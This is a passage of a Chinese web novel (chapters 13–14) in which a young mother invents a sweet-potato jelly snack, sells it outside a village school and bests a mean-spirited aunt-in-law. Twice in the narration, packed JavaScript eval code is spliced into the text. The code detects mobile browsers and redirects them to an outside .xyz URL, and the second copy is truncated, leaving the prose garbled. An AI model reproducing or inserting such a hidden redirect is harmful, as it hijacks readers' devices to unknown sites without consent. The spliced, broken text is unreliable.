霍小草待了一会儿就准备离开了，离开前，董春娘想找些东西让女儿带回去。可如今家里过得不太好，儿媳又不待见女儿，她不敢当着儿媳的面给。 秦书锦去了堂屋，将家里的十几个鸡蛋都给了霍小芽。 霍小草原本还对二嫂改变半信半疑，看着眼前的鸡蛋，彻底信了。 “二嫂，不用了。” 秦书锦：“都是家里的鸡下的蛋，不值什么钱，你拿回去吃吧。” 女人何苦为难女人。秦书锦前世虽然没结过婚，但身边有不少结婚的人，这些事多听听多看看就明白了。作为已经出嫁的姑娘，从娘家拿些东西回去，婆家也能高看一眼。 霍小草又推拒了。 秦书锦直接将盛放鸡蛋的篮子塞到了她的手里。 “拿着吧。” 霍小草想到家里刻薄的婆婆，接了过去。 “多谢二嫂。” 秦书锦看着霍小草手腕上的红痕，随口问了一句：“你手上怎么有伤？” 霍小草哆嗦了一下，连忙将袖子往下扯了一下。 “锄草的时候不小心划到的。” 董春娘：“娘看看伤的重不重。” 霍小草：“不重，就是划了一下。” 董春娘也没多想，道：“那你可小心些。” 霍小草：“知道了，娘。” 13. 第 13 章 后半晌，霍二山和董春娘又去了地里。 申时左右，秦书锦开始做吃食，今日她要做一种小吃。 她先取了一些红薯淀粉在水中搅拌开。锅里烧了一些水，水开了之后把搅拌好没有颗粒的红薯淀粉倒进去，不停地搅拌，等越来越粘稠的时候关火。 随后她拿过来一个盆，盆里放入凉水。再拿一个漏勺，把红薯淀粉放在漏勺上，淀粉从缝隙里掉下去。 早在秦书锦开始做的时候霍子规就过来看了，看着盆里的东西，他惊讶地道：“哇，好像河里的小鱼啊，也像小蝌蚪！” 秦书锦笑着说：“确实像。” 霍子规：“娘，这叫啥？” 秦书锦想了想，道：“娘还没起名字呢，不如你起一个？” 这种吃食她在很多地方都吃过，有的用红薯粉做的，有的用豌豆粉做的，还有用玉米粉做的等等。至于叫法更是多，有叫娃娃鱼的，有叫凉鱼的，还有叫蛙鱼或者凉虾的。既然是要卖给孩子吃的，不如让霍子规来起个名字。 至于口味，有甜口的，也有咸口的。糖的价格太高了，她先做了咸口的。 她从里面舀出来一勺，放入碗中，碗里加一些盐、醋和麻油，递给了霍子规。 霍子规馋得都要咽口水了，他拿起勺子吃了一口，顿时眼前一亮。 “娘，冰冰凉凉的，真好吃！” 秦书锦摸了摸他的头：“慢些吃，还有呢。” 霍子规：“娘，这吃食是凉的，又长得像小鱼，不如叫小凉鱼？” 秦书锦又盛了一碗，给了霍小芽。 “好，咱们就叫它小凉鱼。” 一听秦书锦采用了自己说的名字，霍子规眼睛都亮了起来。 霍小芽吃了之后也很惊讶，她从来不知红薯还可以做这样的吃食。 秦书锦：“好不好吃？” 霍小芽点头：“好吃。” 秦书锦：“走，咱们去镇上卖。” 霍小芽惊讶地问：“现在？” 秦书锦：“对啊，就是现在。” 霍子规没注意到秦书锦说了什么，一双眼睛往盆里的吃食看。 秦书锦注意到他的目光，道：“还想吃吗？” 霍子规咽了咽口水，没敢说。 秦书锦：“一会儿到了镇上再吃。” 霍子规：“嗯！” 秦书锦去了堂屋里，打开了橱柜。 霍家的碗着实大了些，要是真的卖小凉鱼的话，还是得准备一些小碗才好。 霍小芽：“嫂子找什么？” 秦书锦：“我想找一些没用过的小碗。” 霍小芽打开了橱柜的下层，里面放着一些落了灰的小碗。虽然落了灰，但都是没用过的。 “这样的可以吗？” 虽然碗比平日里用的小了一半，但还是大了些。 “虽然大了些，但也勉强可以用。” 霍小芽一副若有所思的神情，道：“二嫂等一下。” 她跑去里间，拿出来几个更小一些，还有些扁的碗。 秦书锦眼前一亮。这碗看起来比碗浅，比盘子深，正是她需要的。 “家里怎么会有这样的碗？” 霍小芽：“二哥二嫂成亲时，要给客人准备酒碗。爹不喝酒，家里没有喝酒的碗。本来想着租别人的碗用，大伯娘说他们家有没用过的新碗，非得说便宜卖给咱们。爹娘就买了一些。没想到碗这么小，爹怕亲戚们笑话就没用，又花钱租了别人的。” 果然像赵婆子能干出来的事儿。 “既然用不上，干嘛不给她退回去？” 霍小芽：“爹怕伤了和大伯家的和气，就没送。” 秦书锦也知霍二山董春娘的脾气。这俩人都是再老实不过的人了，被原主欺负成那个样子也不跟儿子说。更何况是这样的事。她没再多言。不过，这碗倒是十分合适。这样的小碗扁，不占地方，方便携带，也不用考虑客人吃完之后洗碗的问题，都带回家里洗就可以了。 “这样的碗有多少？” 霍小芽：“整整五十个。” 秦书锦：“都拿出来，咱们洗洗。” 霍小芽：“好。” 洗完碗之后，秦书锦算了算今日做的小凉鱼的分量，拿了三十个碗。将小凉鱼装入了盆中，又带上家里的调料，跟隔壁的婶子说了一声，三人推着个独轮小车朝着镇上走去。 来到学馆门口时，那里已经有卖吃食的了，有卖糖人的，还有卖糖葫芦的。果然，大家都知道这里能卖吃食。 秦书锦找了个位置将小车固定住，三人站在一旁等着学馆散学。 这时，站在学馆外面等孙子散学的赵婆子看到了他们几人，朝着这边走来。 “你们几个人来镇上干啥？” 秦书锦懒得搭理她。 霍子规见秦书锦不打招呼，他也没说话，一双眼睛盯着面前的盆。 霍小芽小声叫了一声：“大伯娘。” 赵婆子心里自有一番猜测，她嘲讽道：“子规，你家里的钱都被你爷奶拿来给你爹娶媳妇儿了，你就别想着读书了。” 霍子规心里只想着再吃一口小凉鱼，压根儿没听清赵婆子说了什么。 秦书锦听到了也假装没听到，她低头跟霍子规交代着什么。 霍子规频频点头。 霍小芽左看看右看看，低下了头。 赵婆子讨了个没趣，又去学馆门口站着等孙子了。 等学馆的门一开，秦书锦立即掀开盆子给霍子规盛了一碗小凉鱼，一边盛一边道：“好吃的小凉鱼，冰冰凉凉的，一文钱一碗！” 秦书锦原想着要是大碗的话就卖三文钱，但三文钱就怕有些人不舍得吃。如今换成了小碗，价格自然也就低了。 霍子规没想到娘真的采用了自己说的名字，心里十分地欢喜。 盛好后，秦书锦递给了霍子规，霍子规接过碗，立即吃了起来。 一边吃，一边道：“娘，这东西像小鱼一样，滑溜溜的，冰冰凉凉的，真好吃！” 小孩子对新奇的东西最是好奇，有人见霍子规吃的香，立即就过来看了。 瞧着霍子规碗里像蝌蚪又像小鱼的东西，跟身边的大人道：“奶，我想吃这个。” 老妇人看着盆里的吃食，问道：“这是啥做的？怎么是这个颜色这个样子？” 秦书锦笑着说：“婶儿，甭管啥做的，保管好吃，保管没问题。您瞧瞧，我家孩子吃的多香。” 这个时代能对得起书的都不是穷人，也舍得给孩子花钱，不过是一文钱罢了，那老妇人没再多问，拿出来一文钱递给秦书锦。 “来一碗吧。” 秦书锦立即给小孩子盛了一碗。 小孩子拿起来勺子吃了一口，眼里明显是开心的神色。 “好吃吗？” 小孩子：“嗯，好吃！” 说完，小孩子又快速吃了起来。 老妇人见孩子爱吃，笑得眯起了眼。 “我的乖孙，你慢些吃，慢些吃。” 小孩子吃了一碗后，又要了一碗。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16405657|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他接连要了三碗后还想再要，秦书锦道：“小少爷，这东西是凉的，吃三碗就行了，再吃多了会冰到肚子的。” 如今天气还不是很热，小孩子脾胃又弱。虽说她这里面的水都是煮开过的，但真吃多了怕是肚子不舒服。 闻言，老妇人对秦书锦多了几分好感。 “你这妇人倒是实诚，不是一味地卖吃食。” 秦书锦：“婶儿，咱家也有孩子，知道心疼孩子。” 小孩子却闹着还要吃。 秦书锦笑着说：“小少爷，明日我还来，到时候你再来吃好不好？” 小孩子见秦书锦不卖给他了，只好作罢。 老妇人领着孩子离开了，离开前还叮嘱秦书锦明日一定要来。 小凉鱼是新鲜的吃食，小孩子们都没见过，见有人来吃了，立即又有不少小孩子过来吃。 一眨眼的功夫秦书锦就卖了十多份，就连路过的人都好奇地走了过来，她又卖了一些。 赵婆子原是接了孙子就打算带着他离开的，孙子见这边人多，死活不走，非得过来看看。等他们祖孙二人终于挤了进来，这才发现卖吃食的人竟然是秦书锦。 赵婆子：“我还真是小瞧你们了，感情你今日是来卖吃食的？” 秦书锦依旧没搭理她。 赵婆子微扬下巴，吩咐秦书锦：“给子河盛一碗。” 秦书锦恰好卖完了最后一份。 “卖完了。” 赵婆子伸着头往桶里看，道：“盆里不是还有么？” 秦书锦：“没了。” 秦书锦提起来桶将水泼在了地上，差点泼在赵婆子身上。 赵婆子吓得跳了起来，愤怒地道：“你个死丫头！” 秦书锦没搭理她，收拾好东西推着小车离开了。 赵婆子气得在背后骂骂咧咧的。 回去的路上，秦书锦跟霍小芽闲聊起来。 “我记得大妹妹是嫁到刘家村去了吧？” 中午她睡了一觉，在梦中她脑海中闪现了一些关于霍小草的画面，原主待这个小姑子着实不太好。 霍小草比霍耘这个兄长早成亲两个月，按理说不应该这样急的，可刘家相中了小草，娶妻心切，给的彩礼又高。老两口担心过了这个村就没这个店了，就早早将女儿嫁了。霍家得到了一大笔彩礼，又将彩礼用作了给霍耘娶妻。 霍小芽：“对，大姐的婆家姓刘，在刘家村。” 秦书锦：“她婆家对她怎么样？” 霍小芽犹豫了一下，没说实话：“挺好的，刘家比咱家过得好，姐夫也是读书人。” 有钱又是读书人，刘家的条件还可以。 “中秀才了吗？” 霍小芽：“还没呢。” 秦书锦总感觉霍小草怪怪的，隐约觉得她日子过得并不如意。 “要是小草在婆家过得不好，你跟我说。” 霍小芽惊讶地看向秦书锦。 秦书锦：“大哥大嫂不在家，你二哥也不是日日在家，爹娘年纪大了。要是你们有什么不方便跟爹娘说的话，可以跟我讲。” 娘说过了，以后这个家是要靠二哥二嫂的，让她好好跟二嫂相处。如今二嫂愿意这样维护姐姐，这是她们姐妹俩的福气。 “多谢二嫂。” 秦书锦：“谢什么，咱们都是女子，自然晓得女子生活的不易。” 霍小芽感动得眼眶泛红，她几乎要将霍小草的遭遇说出来了。可一想到霍小草的交待，她还是什么都没说。 “嗯。” 14. 第 14 章 秦书锦几人卖完东西后又在镇上转了转，手上的东西多，所以走得慢。他们三人回来时恰好遇到从他们家出来的赵婆子。赵婆子狠狠剜了秦书锦一眼，离开了霍家。 霍二山董春娘已经在家里了，见他们三人回来，二老似乎并不意外，秦书锦猜测方才赵婆子已经告过状了。 董春娘上前帮忙将东西从小推车上拿了下来。 “你们去镇上卖吃食了？” 秦书锦：“对，卖了些小孩子爱吃的零嘴。” 董春娘：“可是遇到你大伯娘了？” 秦书锦：“遇到了。” 霍小芽插了一句：“大伯娘想给河哥儿买吃食，恰好已经卖完了，我瞧着大伯娘好像有点不高兴。” 秦书锦快速看了霍小芽一眼。 她果然没看错人，霍小芽这个小姑娘的确机灵，一句话就把事情解释清楚了。 董春娘也没再多问，跟霍小芽一起去井边清洗盆子和碗。 霍二山显然更关心他们几人去镇上卖了什么，将话岔开了：“你们去卖什么了？” 霍子规兴奋地道：“小凉鱼！” 霍父霍母一脸疑惑，显然都没听过这种吃食。 秦书锦去厨屋里将早就留好的两碗小凉鱼端了出来，一碗递给霍二山，一碗递给董春娘。 “爹娘，你们尝尝。” 霍二山惊讶地看向碗里的小凉鱼，拿起来勺子尝了一口。 “这吃食是什么做的？” 秦书锦：“红薯。” 霍二山虽然在酒楼里做过学徒，但他心中的惊讶一点都不比别人少。红薯是黏黏糊糊又有些面的吃食，怎会做出来这般滑溜的东西。 秦书锦：“正好现在要准备明日的，爹看我做一遍就知道了。” 霍子规虽然蹲在一旁，但眼睛一直盯着霍二山手中的碗。 霍二山看出来孙子的意思，将只吃了一口的小凉鱼递给了他，董春娘也想将自己的小凉鱼给孙子。 霍子规刚想接过来，想到娘跟旁人说不能多吃，转头看向了秦书锦。 秦书锦：“爹娘，今日我们几人都吃过了，这是凉的东西，小孩子吃多了容易闹肚子。你们自个儿吃吧。” 董春娘：“要不留到明日再吃吧。” 秦书锦：“娘，这东西不是啥精贵的东西，留到明日就不好吃，你们吃就是了。以后我日日做，子规要是想吃的话日日都能吃。” 霍家人全都怕秦书锦，也都听她的，她说不能给霍子规吃，霍二山和董春娘就没敢给。霍子规也没敢再要。 秦书锦去了堂屋，霍子规也跟了过去。 秦书锦拿了几个红薯，这次比昨日拿得多。今日他们不过片刻就卖完了，显然大家都很喜欢，明日得多准备些。 霍子规见秦书锦拿不了那么多红薯，伸手帮她拿了两个。 秦书锦拿了四个大红薯，霍子规拿了两个。二人去了井边，将红薯清洗干净削皮，然后拿去了厨屋切成块。 等到用石磨时，霍二山接了过去。 红薯磨成浆，过滤，沉淀。 “等晾晒好了就成了粉，再加一些水搅拌，明日就能做吃食了。” 霍二山：“原来红薯还能这样做。” 董春娘：“是啊，我第一次见这种吃法。” 霍二山董春娘休息了一会儿，下午将他们上午刚刚买来的大骨头剁了，炖了大白菜。大骨头上没有一点肉，但菜里有肉香，白菜香得很。 霍子规觉得这几日像是做梦一样，日日都能吃到蛋，还能吃到肉味儿。不仅娘买了肉，爷奶也买肉了。 霍母看着孙子开心的样子，笑着问：“好吃吗？” 霍子规鼓着腮帮子点头：“好吃！奶，我怎么感觉像是在做梦一样，梦里吃过这些东西。” 大家都被霍子规的话逗笑了。 秦书锦想，可不就是梦里吃到过么，她的梦是前世，霍子规的梦是三岁前。 董春娘：“你们小凉鱼卖得怎么样？” 秦书锦：“还行，今儿做得少，卖了二十多碗。” 董春娘惊讶地道：“这么多！” 霍二山：“能赚多少？” 秦书锦：“除去红薯和调料，差不多二十文吧，明儿再多做些。” 董春娘简直不敢相信自己的耳朵：“这东西竟然这么赚钱！” 秦书锦：“主要是这种吃食比较新鲜，别人不会做。” 霍小芽看了看爹娘，想到方才来家里的大伯娘，憋了半天，忍不住道：“爹娘，这法子是二嫂想出来的，别人都不知道，你们千万别说出去了，不然咱们家就赚不着钱了。” 秦书锦又看了霍小芽一眼。 她感觉今日去了一趟镇上后，霍小芽似乎跟她亲近了不少，处处都为她着想。 霍母回过神来：“我和你爹肯定不会说的，你和子规也别往外说。” 霍小芽：“嗯，我知道的，娘。” 霍子规：“奶，你放心，我啥都不会说的。” 娘说了，等赚了钱要送他去读书，他绝对不会将小凉鱼的做法告诉任何人。 第二日一早，霍二山和董春娘又去县城卖菜了，午时左右回来。回来时，二人满脸的疲惫。 秦书锦看了一眼竹筐里剩下的菜，猜测他们卖得可能不好。 霍小芽：“娘，今日卖了几斤？” 董春娘叹气：“哎，今儿不太好，就卖了四斤，赚了五文钱。” 秦书锦虽然猜到卖得可能不太好了，但却没想到竟然这么不好。 霍小芽：“那你们明儿还去吗？” 董春娘捶了捶酸痛的肩膀，道：“去！今儿我们去的有些晚，没抢到好的地方，明儿我们再早去一会儿。” 秦书锦蹙眉。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416464|184448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 连续几日这么折腾，霍二山似乎也有些累了，弯着腰走路。 秦书锦：“爹娘，你们明日别去了。” 董春娘一边捶着肩膀，一边道：“还是去吧。去了好歹能赚几文，不去一文钱也没有。” 秦书锦又多劝了两句，结果一向听她话的二老这次却没听。 几人又说了会儿话就回屋歇着了。 平日里，大白天的二老很少会睡觉，今儿却破天荒睡了一个时辰，醒来后，二人又去地里锄草了。照这样下去，他们这身体也会吃不消的。 申时左右，秦书锦开始着手做小凉鱼，这次做的多，带了四十个碗。 今儿秦书锦去时学馆还没散学，有那路过的小孩子又过来吃了。 昨儿有许多孩子没吃到小凉鱼，今散了学看到秦书锦的摊子在，立马就跑了过去抢着买小凉鱼。有的吃了一碗，有的连吃两碗。短短一刻钟的功夫，秦书锦的小凉鱼就快卖完了。 河哥儿今儿上课不认真，被夫子留下罚写大字，等他出来时人基本上都散了。他见秦书锦的摊子还在，想到在学堂里同窗说过的话，颠颠地跑了过来。 赵婆子在后面追：“你慢些，慢些。” 河哥儿仰起头，对秦书锦道：“喂，你给我盛一碗。” 两家好歹有血缘关系，河哥儿对秦书锦和霍小芽却一点都不客气，跟他奶一个脾气。秦书锦也没惯着他，理都没理他。 赵婆子见秦书锦不搭理自己孙子，不满地道：“你没听到吗，我孙子让你盛一碗。” 秦书锦：“拿钱来，一文钱一碗。” 赵婆子本就没打算给钱，听到这话很是生气。 “我是你大伯娘，你还敢跟我要钱？” 霍小芽本就不喜欢赵婆子，见秦书锦这般，她立马将盆子盖上，护得严严实实的，生怕赵婆子来抢。 赵婆子狠狠地剜了霍小芽一眼。 霍小芽动也没动。 秦书锦：“亲兄弟明算账，不给钱就不能吃。” 河哥儿又开始撒泼了：“奶，我要吃我要吃，别人都吃了，我也要吃。” 赵婆子拗不过自己的孙子，只好道：“好好好，奶给你买。” 她看着秦书锦的冷脸，不得不从兜里掏出来一文钱递给秦书锦。 秦书锦收了钱，霍小芽立马给河哥儿盛了一碗。 河哥儿一会儿就把一碗小凉鱼吃完了，吃完后，还觉得不太够，想要再吃一碗。 赵婆子经不住孙子闹腾，只好又忍痛给了一文钱。 等河哥儿想要第三碗时，赵婆子狠了心将他抱走了。 秦书锦和霍小芽相视一笑。 霍小芽觉得心里舒畅极了。大伯家比他们家过得好，可大伯娘这些年却总喜欢占他们家便宜。爹娘从来不说什么，她也没敢说。如今二嫂从大伯娘那边讨了些好处，可真是大快人心。